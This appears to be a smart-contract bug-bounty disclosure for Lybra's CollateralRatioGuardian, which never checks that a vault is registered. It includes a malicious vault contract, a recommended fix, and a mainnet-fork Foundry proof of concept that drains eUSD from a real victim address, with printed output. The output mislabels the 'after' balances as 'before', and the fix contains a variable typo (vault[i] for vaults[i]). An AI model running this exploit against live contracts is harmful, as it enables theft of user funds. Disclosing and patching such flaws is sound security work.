# `CollateralRatioGuardian` does not check if vault address is registered mint vault at `LybraConfigurator`. A hacker can steal eUSD/peUSD holder's fund if malicious vault is set for repayment. 

## Bug Description
`CollateralRatioGuardian.setAutoRepayment()`, `CollateralRatioGuardian.execute()` do not check if vault address is registered mint vault at `LybraConfigurator`.

```
function setAutoRepayment(address[] memory vaults, RepaymentSetting[] memory settings) external {
    require(vaults.length == settings.length, "ALI");
    for(uint i; i < vaults.length;i++) {
        require(settings[i].expectedCollateralRatio > settings[i].triggerCollateralRatio, "The expectedCollateralRatio needs to be higher than the triggerCollateralRatio.");
        require(settings[i].triggerCollateralRatio > configurator.getBadCollateralRatio(vaults[i]), "The triggerCollateralRatio needs to be higher than lybra.badCollateralRatio.");
        require(settings[i].expectedCollateralRatio >= configurator.getSafeCollateralRatio(vaults[i]), "The expectedCollateralRatio needs to be greater than or equal to lybra.safeCollateralRatio");
        ...
    }
}

function execute(address user, address vault) external {
    RepaymentSetting memory userSetting = userRepaymentSettings[user][vault];
    require(userSetting.active == true, "The user has not enabled the automatic repayment");
    uint256 userCollateralRatio = getCollateralRatio(user, vault);
    require(userCollateralRatio <= userSetting.triggerCollateralRatio, "The user's collateralRate is not below the trigger collateralRate");
    ...
}
```

Here's example of malicious vault which will always allow unlimited repayment with empty `burn()` function.
```
contract MaliciousVault {
    function depositedAsset(address user) external view returns (uint256) { return 1 ether; }
    function getBorrowedOf(address user) external view returns (uint256) { return 100000 ether; }
    function getAsset2EtherExchangeRate() external view returns (uint256) { return 1 ether;}
    function getVaultType() external view returns (uint256) { return 0;}
    function burn(address onBehalfOf, uint256 amount) public {}
}
```

## Impact
If victim has set malicious vault for repayment once, a hacker can execute repayment until eUSD/peUSD are stolen.

A hacker can receive service fee by executing, while CR guardian will receive repaid token.

## Recommendation
`CollateralRatioGuardian.setAutoRepayment()`, `CollateralRatioGuardian.execute()` should check if vault address is registered mint vault at `LybraConfigurator`.

```
function setAutoRepayment(address[] memory vaults, RepaymentSetting[] memory settings) external {
    require(vaults.length == settings.length, "ALI");
    for(uint i; i < vaults.length;i++) {
+       require(configurator.mintVault(vault[i]), "NV");
        ...
    }
}

function execute(address user, address vault) external {
+   require(configurator.mintVault(vault), "NV");
    RepaymentSetting memory userSetting = userRepaymentSettings[user][vault];
    require(userSetting.active == true, "The user has not enabled the automatic repayment");
    uint256 userCollateralRatio = getCollateralRatio(user, vault);
    require(userCollateralRatio <= userSetting.triggerCollateralRatio, "The user's collateralRate is not below the trigger collateralRate");
    ...
}
```

## Proof of Concept
```
pragma solidity 0.8.20;

import "forge-std/Test.sol";

import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "../src/interfaces/IUniswapPairV2.sol";

contract MaliciousVault {
    function depositedAsset(address user) external view returns (uint256) { return 1 ether; }
    function getBorrowedOf(address user) external view returns (uint256) { return 100000 ether; }
    function getAsset2EtherExchangeRate() external view returns (uint256) { return 1 ether;}
    function getVaultType() external view returns (uint256) { return 0;}
    function burn(address onBehalfOf, uint256 amount) public {}
}

interface CRGuardian {
    function execute(address user, address vault) external;
    function setAutoRepayment(address[] memory vaults, RepaymentSetting[] memory settings) external;
    function getAssetPrice(address vault) external view returns (uint256);
}

struct RepaymentSetting {
    uint256 triggerCollateralRatio;
    uint256 expectedCollateralRatio;
    bool active;
}

contract ContractTest is Test {
    MaliciousVault      vault;
    CRGuardian          guardian = CRGuardian(0xA2579E29bDc0af3c6c21c0C078C3cAE244876bDf);
    address             eUSD = 0xdf3ac4F479375802A821f7b7b46Cd7EB5E4262cC;
    address             victim = address(0xC53127AF77cBa7D07DC08e271bD0826c55f97467);

    function setUp() public {
        vm.createSelectFork("mainnet");

        vault = new MaliciousVault();

        vm.label(address(guardian), "CRGuardian");
        vm.label(address(vault), "MaliciousVault");
        vm.label(eUSD, "eUSD");
    }
    

    function testCRGuardian() public {
        address[] memory vaults = new address[](1);        
        RepaymentSetting[] memory settings = new RepaymentSetting[](1);

        vaults[0] = address(vault);
        settings[0] = RepaymentSetting({
            active: true,
            expectedCollateralRatio: 160 ether + 1,
            triggerCollateralRatio: 150 ether + 1
        });

        vm.startPrank(victim);
        IERC20(eUSD).approve(address(guardian), type(uint256).max);
        guardian.setAutoRepayment(vaults, settings);
        vm.stopPrank();

        emit log_named_decimal_uint("Victim's eUSD balance before execute", IERC20(eUSD).balanceOf(victim), 18);
        emit log_named_decimal_uint("Guardian's eUSD balance before execute", IERC20(eUSD).balanceOf(address(guardian)), 18);
        emit log_named_decimal_uint("Executor's eUSD balance before execute", IERC20(eUSD).balanceOf(address(this)), 18);
        
        guardian.execute(victim, address(vault));

        emit log_named_decimal_uint("Victim's eUSD balance after execute", IERC20(eUSD).balanceOf(victim), 18);
        emit log_named_decimal_uint("Guardian's eUSD balance after execute", IERC20(eUSD).balanceOf(address(guardian)), 18);
        emit log_named_decimal_uint("Executor's eUSD balance after execute", IERC20(eUSD).balanceOf(address(this)), 18);
    }
}
```

### Output
```
Running 1 test for test/Lybra_test3.sol:ContractTest
[PASS] testCRGuardian() (gas: 270365)
Logs:
  Victim's eUSD balance before execute: 20185145.790313916726915646
  Guardian's eUSD balance before execute: 0.000000000000000000
  Executor's eUSD balance before execute: 0.000000000000000000
  Victim's eUSD balance before execute: 20086307.786553741726915638
  Guardian's eUSD balance before execute: 98738.003760175000000007
  Executor's eUSD balance before execute: 99.999999999999999999

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 25.54s
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```